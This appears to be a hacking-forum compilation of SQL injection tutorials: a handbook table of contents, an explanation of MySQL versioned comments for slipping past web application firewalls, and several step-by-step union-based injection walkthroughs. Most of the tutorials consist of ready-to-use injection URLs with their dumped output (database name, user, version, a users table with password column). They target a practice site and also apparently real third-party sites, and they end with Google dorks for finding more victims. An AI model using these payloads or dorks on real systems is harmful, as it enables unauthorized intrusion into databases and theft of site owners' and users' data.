[New Book] SQL Injection Bypassing HandBook [details+Free]

Content writers :-

Chapter I:::

• SQL Injection: What is it?
• SQL Injection: An In-depth Explanation
• Why is it possible to pass SQL queries directly to a database that is hidden behind a firewall and any other security mechanism?
• Is my database at risk to SQL Injection?
• What is the impact of SQL Injection?
• Example of a SQLInjection Attack

WebApplication Firewalls::

• Detecting A WAF
• Prompt Message
• Dotdefender
• Observing HTTP Response

Chapter II

Advanced evasion techniques for defeating SQL injection Input validation mechanisms
Web applications are becoming more and more technically complex. Web applications, their

• Whitespace
• Null Bytes
• SQL Comments
• URL Encoding
• Changing Cases
• Encode to Hex Forbidden
• Replacing keywords technique
• WAF Bypassing – using characters
• HTTP Parameter Pollution (HPP)
• CRLF WAF Bypass technique
• Buffer Overflow bypassing

Chapter III

Let's see the matter in an orderly fashion from the beginning

• See If Site vulnerability Or Not
• Get Column Number
• Bypassing union select
• Get Version
• Group & Concat
• Bypass with Information_schema.tables
• Requested Baypassing

Chapter IIII

Other issues related to the subject

• Null Parameter
• FIND VULNERABLE COLUMNS
• Count(*)
• unhex()
• Get database

• 
  
  
  Source ::: HF

[Quick Guide] C-Style comments(WAF Bypassing queries explenation)

Many peoples use cheat-sheets to bypass the Web Application Firewall (WAF) and they don't know why they write /*!union*/ and not a clean union.

So here is a quick explanation: 
This "things"(/*!12345query*/) called C-style comments these allows you to execute MySQL queries in comments.



Some examples && explanations :
PHP Code:

/*!12345union*/ bla bla bla injected query... 

When we execute that, the MySQL server parses our query and it will execute only if the MySQL version is up to 1.23.45 (12345 That's the number we wrote but without the points\dots)

Let's try again to make you understand better :
PHP Code:

/*!50000union*/ bla bla bla injected query... 

It will execute only if the version is up to 5.00.00 (Again, this is the number we wrote if you notice that..50000) in most cases, the query will execute, because most of the MySQL versions is bigger then 5.00.00...it's like 5.20.35 etc.
So what is that ? 
PHP Code:

/*!union*/ 

That's says "if the version is up to 0, execute the query."

Let's see what you learned.
Quick quiz :
John tries to bypass the WAF, he tried :

PHP Code:

/*!65432union*/ 

403 error was not appeared, but there was MySQL error...why ?
-----------------------------------------------------------------------------------------------------------------??

Because our version is not up to 6.54.32 

In fact, there is no MySQL version 6.54.32 dumbass 
So far, the highest is 5.6(56000 \ 5.60.00)

References
http://dev.mysql.com/doc/refman/5.1/en/comments.html

Source :: HF

How To Print ur Leet name , Database , Version ,user ,tables and columns with coloring part 4

Today we will learn How To print Database , name , Version And many More Functions and variables..::

Lets Go ::~~

As we Soved this Site in Previous tutorial ..
So we know that it has 3 columns and column number is vulnerable ..

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,2,3--+

------------------------------------------------------------------------------------------------------------------------
Now if We want know  database name then we type database() at place of 2..

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,database(),3--+

Username is : leettime_761wHole (it is databasename)
-------------------------------------------------------------------------------------------------------

Now if want To know Version of this site the we type Version()

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,version(),3--+

Result ::
5.5.42-cll
------------------------------------------------------------------------------------------------------
Now If we want to know it is user name then we type user() at place of 2..

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,user(),3--+

Result::leettime_W89sst1@localhost 
-------------------------------------------------------------------------------------------------------------------
Now Going To Print Our Name ..

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,~~inject by Afghani~~,3--+

It gives Error :----

Error While Selection process : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'by Afghani~~,3-- '' at line 1

 --------------------------------------------------------------------------------------------
Now if  i Convert  Into string and also into Hexa It Print My Name ...

In String::~~ By Putting single code 'Our name here Goes'

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,'~~inject by Afghani~~',3--+

 By Converting Into Hexa..Convert inot Hexa and then Mulitple with 0 ..Like that..

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,0x7e7e696e6a6563742062792041666768616e697e7e,3--+

Result::~~
~~inject by Afghani~~
--------------------------------------------------------------------------------

How can we Print multiple varisbles and function as at once
----------------------------------------------------------------------------

By Using Concat , Group_concat , Make_set , export_set 
Concat_ws We can Print multliple Values at once..


http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,Concat('~~inject by Afghani~~',database(),user(),version()),3--+

Result:::
~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-cll

So we want print it seprate seprate . So we use <br> means break the  line ...
<br> into hexa = 0x3c62723e

So our query look like ::

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,Concat(0x3c62723e,'~~inject by Afghani~~',0x3c62723e,database(),0x3c62723e,user(),0x3c62723e,version()),3--+

Result::

~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-cll

Now i am going to Show tables and columns..

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,Concat(0x3c62723e,'~~inject by Afghani~~',0x3c62723e,database(),0x3c62723e,user(),0x3c62723e,version(),0x3c62723e,table_name,0x3a3a3a,column_name),3 from information_schema.columns where table_schema=database()--+ 

Result ::

Username is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-clltesttable1:::testidUsername is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-clltesttable1:::column1Username is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-clltesttable1:::column2Username is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-clltesttable1:::column3Username is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-clluserlogs:::idUsername is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-clluserlogs:::usernameUsername is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-clluserlogs:::actionUsername is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-clluserlogs:::dateUsername is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-cllusers:::idUsername is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-cllusers:::usernameUsername is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-cllusers:::passwordUsername is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-cllusers:::user_typeUsername is : ~~inject by Afghani~~leettime_761wHoleleettime_W89sst1@localhost5.5.42-cllusers:::sec_code

I hope u Got it something ::

Author (Afghani):::~~~

SQL injection Common Errors And Solution Part 3

First we Discuss On Nature of  SQLI error .. Today  First i will dicuss Some Common Errors  of sql injection and also we will learn how to Fix and solve that Errors..

1-::

     http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1'

Error While Selection process : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1

Now Trying to fix by Adding Comments at the end .

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' --+

In My case it is fixed.AS you can See In picture.

 

If it is not fixing by adding --+ or -- -
Then Use "=" , %60 , ; at the end at .. If it is also not worked then Remove  Single Code then Proceed Order by or Group by.................................

In such Type of Error it tells You how much columns it have ..How  it tells itself...Suppose it has 3 columns if i ask database that you have 4 columns like that

         http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 1--+No Errorhttp://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 2--+No Error http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 3--+No Error ::

Now At order by 4 :::---

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 4--+

it Generate Error and then Tell us that Error While Selection process : Unknown column '4' in 'order clause'

So if i Do  :::----

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 3--+

But At this time no Error Comes  page normally load it means it has 3 columns..

----------------------------------------------------------------------------------------------------------------------

::----:2nd Type Of Error In SQL ::---
----------------------------------------------------
Lets start ::

http://mohitminerals.in/news.php?id=39'

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/mohitmin/public_html/news.php on line 87

This type of Error is Very Eeasy to solve and My Favourite Error.

http://mohitminerals.in/news.php?id=39' --+

In My Case It is Fix and Balanced by Adding --+  ..In Most Cases Such Type of Error fixed by Removing Single Code ..
like That::

http://mohitminerals.in/news.php?id=39 --

This type of Error Does not tell us Unknown Column is Blah Balh in Order 'caluse'

~~::So How to find Number Of Columns ::~~

Lets Start :D

• http://mohitminerals.in/news.php?id=39' order by 1--+

• No Error Comes .Loaded Normally

• http://mohitminerals.in/news.php?id=39' order by 2--+

• No Error Comes. Loaded Normally

• http://mohitminerals.in/news.php?id=39' order by 3--+

• No Error Comes. Loaded Normally

• http://mohitminerals.in/news.php?id=39' order by 4--+

• No Error Comes. Loaded Normally

• http://mohitminerals.in/news.php?id=39' order by 5--+

• No Error Comes. Loaded Normally

• http://mohitminerals.in/news.php?id=39' order by 6--+

• No Error Comes. Loaded Normally

• http://mohitminerals.in/news.php?id=39' order by 7--+

• No Error Comes. Loaded Normally

----------------------------------------------------------------------------------------------------------------

http://mohitminerals.in/news.php?id=39' order by 8--+

At order by 8 IT Generates This Error:

Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /home/mohitmin/public_html/news.php on line 87

----------------------------------------------------------------------------------------------------------------
So it Means It Has 7 columns :p
I Hope You Got The Point :D
-------------------------------------------------------------------------------------------------------------------
-------------------------------------------------------------------------------------------------------------------------

3rd Type of SQLI Error That is Content Missing 

------------------------------------------------------------------------------------------------------------------------

Some Time When we put single Code Page load normally but some content is missing . So this is also SQli Error .
Lets Go.. Do some Testing ..
-------------------------------------------------------------
Before Putting Single Code:

http://ceew.in/newsDetails.php?id=177

-------------------------------------------------------------------------------------------------------------------------
Now See The Magic when i put Single Code ::

 http://ceew.in/newsDetails.php?id=177'

-------------------------------------------------------------------

In My Case When Added --+ at the end Error Goes ..Means Page Load normally with all its Contents.. So it means  it is Balanced.

 http://ceew.in/newsDetails.php?id=177' --+

------------------------------------------------------------------------------------------------------------------------

After the Fixing Now Going TO Find Number Of Columns::

• http://ceew.in/newsDetails.php?id=177' order by 1--+
• Page loaded Normally With All contents.It means It has 1 column.
• http://ceew.in/newsDetails.php?id=177' order by 2--+
• Page loaded Normally With All contents.It means It has 2 column.
• http://ceew.in/newsDetails.php?id=177' order by 3--+
• Page loaded Normally With All contents.It means It has 3 column.
• http://ceew.in/newsDetails.php?id=177' order by 4--+
• Page loaded Normally With All contents.It means It has 4 column.
• http://ceew.in/newsDetails.php?id=177' order by 5--+
• Page loaded Normally With All contents.It means It has 5 column.
• http://ceew.in/newsDetails.php?id=177' order by 6--+
• Page loaded Normally With All contents.It means It has 6 column
• http://ceew.in/newsDetails.php?id=177' order by 7--+
• page loaded Normally With All contents.It means It has 7 column.
• http://ceew.in/newsDetails.php?id=177' order by 8--+
• Page loaded Normally With All contents.It means It has 8 column.
• http://ceew.in/newsDetails.php?id=177' order by 9--+
• Page loaded Normally With All contents.It means It has 9 column.

-----------------------------------------------------------------
Now When i Did order by 10. Page loaded Normally But with Content missing :::
So it means it has 9 Columns beacuse at 10 it gives us error :p

http://ceew.in/newsDetails.php?id=177' order by 10--+

-----------------------------------------------------------------------------------------------------------------------

I hope U Got it ..If you Have Any Question Feel Free To ask :

Author :: (Afghani)
Thanx  To::Janus , Amir ,Zeeshan ,KhexAn, And Many More :D

How to Find Number of Columns In a Vulnerable site Using Order By | Group By Part 2

Today  We  will learn How to Find Number of columns of site and also find which column is vulnerable

Lets Start :::

This is site which is vulnerable :::

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1

First  we put a Single Code ' To check either it  is vulnerable or not....

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' 

IF it Generates A error Message like That You have SQL syntax Error....It means it is Vulnerable and suitable for SQL injection .....
SO in my case it Generates Error Message :::
As u can See in Picture

------------------------------------------------------------------------------------------------------------------------
~~~Fixing And Balancing A Query:::---- 
------------------------------------------------------------------------------------------------------------------------------

Fixing a query plays a very important role in sql injection. without fixing error we can not find number of columns  and Database informations.
We can fixe A Query by Using Comments like that :

 http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1'  --+

if by Adding --+  error Goes it means our Query is fixed .now WE can use Order by  Or group by to find Number of columns and Perform other Tasks...

Some Cheat  sheet of Fixing A query .::

--	:	MySQL Linux Style
--+	:	MySQL Windows Style
#	:	Hash (URL encode while use)
--+-	:	SQL Comment
;	:	Null Byte
`	:	Backtick

Remember whenever the input is enclosed with single quotes only single quote with input will create error.When input is enlcosed by double quotes a double qoute with input will give error.When Input is not enlcosed with anything single quote and double quote both will give error.

--------------------------------------------------------------------------------------------------------------------------
so in my case it is fixed by using --+ ..

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' --+

As you can see in this picutre Error Gone.  Now we can use order by or Group by to find number of columns

In Some cases it is not fix by using --+ then we use Null byte ;  or backtick and # .....
In Some CAses we have to remove single code ' and then we put at the end  -- only

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1 --

----------------------------------------------------------------------------------------------------------------------
Finding Number of columns
--------------------------------------------------------------------------------------------
Ater fixing the query now going to find number of columns::
Now i am going to ask database that have you 1 column like that ::

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 1--+

If it do not Generate Error Message it means it has one column.

 Now  I am going to ask again have you 2 columns from database..

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 2--+

It does not generate  error
 

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 3--+

no Error ::

    http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' order by 4--+

Now This time It Gives me A error like that ::

Error While Selection process : Unknown column '4' in 'order clause'

 So it means It has 3 columns Because at order by 4 it is telling us that 4 is unknown.....
----------------------------------------------------------------------------------------------------------------------

~~PerForMing Same Process With Group by::--
-----------------------------------------------------------------------------------------------------------------------------------------
My favourite is Group by ....

In Group by we can use Mulitple Integers At once like that 

 http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' group by 1--+

No Error ::
  

             http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' group by 1,2,3--+

no Error ::

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=1' group by 1,2,3,4,5,6,7,8,9--+

But this Time It Generates error ::

Error While Selection process : Unknown column '4' in 'group statement' 

It also telling us that it has 3 columns :::
--------------------------------------------------------------------------------------------------------------------

How To Find Vulnerable Columns::
-------------------------------------------------
Rules ::
By using Union Select
By Nullifying Parameters

-------------------------------------------
As we know it has 3 columns...now going to find which column is vulnerable..

http://leettime.net/sqlninja.com/tasks/basic_ch1.php?id=-1' union select 1,2,3--+

As you can see in this picutre after nullify the parameter it is showing us 2 ..It means From  1,2,3 ...2 is vulnerable column where we can put our injection and extract some juicy data...
--------------------------------------------------------------------------------------------------------------------

In Next Tutorial We will learn How To Print Name , database , version , user, port ,tables and columns

Author ::(AFghani)

SQL injection Basics for Noobs part 1

                                              ~~~~~~ With the Name of ALLAH ~~~~~

SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker). SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vectorfor websites but can be used to attack any type of SQL database.
--------------------------------------------------------------------------------------------------------------------------------
SQL injection Types ::-
-------------------------------------------------------------------------------------------------------------------------------------------------------------

•        Union Based injection( Post Injection | Get_$ injection)

•        Time Base Injection

•         Error Based Injection | Xpath injection

•         Cookie based Injection

•         Blin sql injection

------------------------------------------------------------------------------------------------------------------------
 How Sql Injection works:::-
 -------------------------------------------------------------------------------------------------------------------------------------------------------------

Sql injection Works only on Vulnerable Sites .

What is Meant by  vulnerable::?In computer security, a vulnerability is a weakness which allows an attacker to reduce a system's information assurance. Vulnerability is the intersection of three elements: a system susceptibility or flaw, attacker access to the flaw, and attacker capability to exploit the flaw.^[1] To exploit a vulnerability, an attacker must have at least one applicable tool or technique that can connect to a system weakness. In this frame, vulnerability is also known as the attack surface.

--------------------------------------------------------------------------------------------------------------------------------
How to find Vlunerable Sites ::: -------------------------------------------------------------------------------------------------------------------------------------------------------------

Finding vulnerable site  is very easy with the help of Google :::

For this purpose we will use Google Dorks 

here Is Some Google Dorks :::

• newsdetails,php?id=  site:in

• news.php?id=  site:in                              

• buy.php?bookid=      

•  bycategory.php?id=       

• cardinfo.php?card= 

• cart.php?action=    

• cart.php?cart_id=

---------------------------------------------------------------------------------------------
Simple Put dorks in Google it gives u lot of Vulnerable sites like that ::




------------------------------------------------------------------------------------------------------------------------
How To Know That Site is Vlunerable::::::--
---------------------------------------------------------------------------------------------------------------------
http://www.tadspec.com/index.php?id=15

this is a site now how to know that it is a vulnerable site::
for this purpose  i will put A singal code ' or double coded ", or  ) or \ , or # Etc Then hit enter ::

If it generates error then it means it is  suitable for sql injection:::

http://www.tadspec.com/index.php?id=15'

Why Error comes::
Suppose orginal query is like that ::

Select * from world where id='15'

So when we  put ' Query becomes like that :: 

     Select * from world where  id='15''

Due to  Dismatch SQL Generates a Error Messages which is very Good for attackers:::
SQl is very Friendly   Language. I hope You Understand That Point ::


Types  of  Error ::::
-------------------------------------------------------------------------------------------------------------------

• Warning: main(languages//headlines.php): failed to open stream: No such file or directory in /var/www/html/includes/connect_site.php on line 50
• You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' 
• Content Missing Error ( Page normally loads with something missing)

--------------------------------------------------------------------------------------------------------------------

In NexT tutorial We will Discuss on How to find number of columns ,Vulnerable Columns and We will Discuss on Nature of errors ...Means which error how To solve ...

(Author::: Afghani:::)
at line 1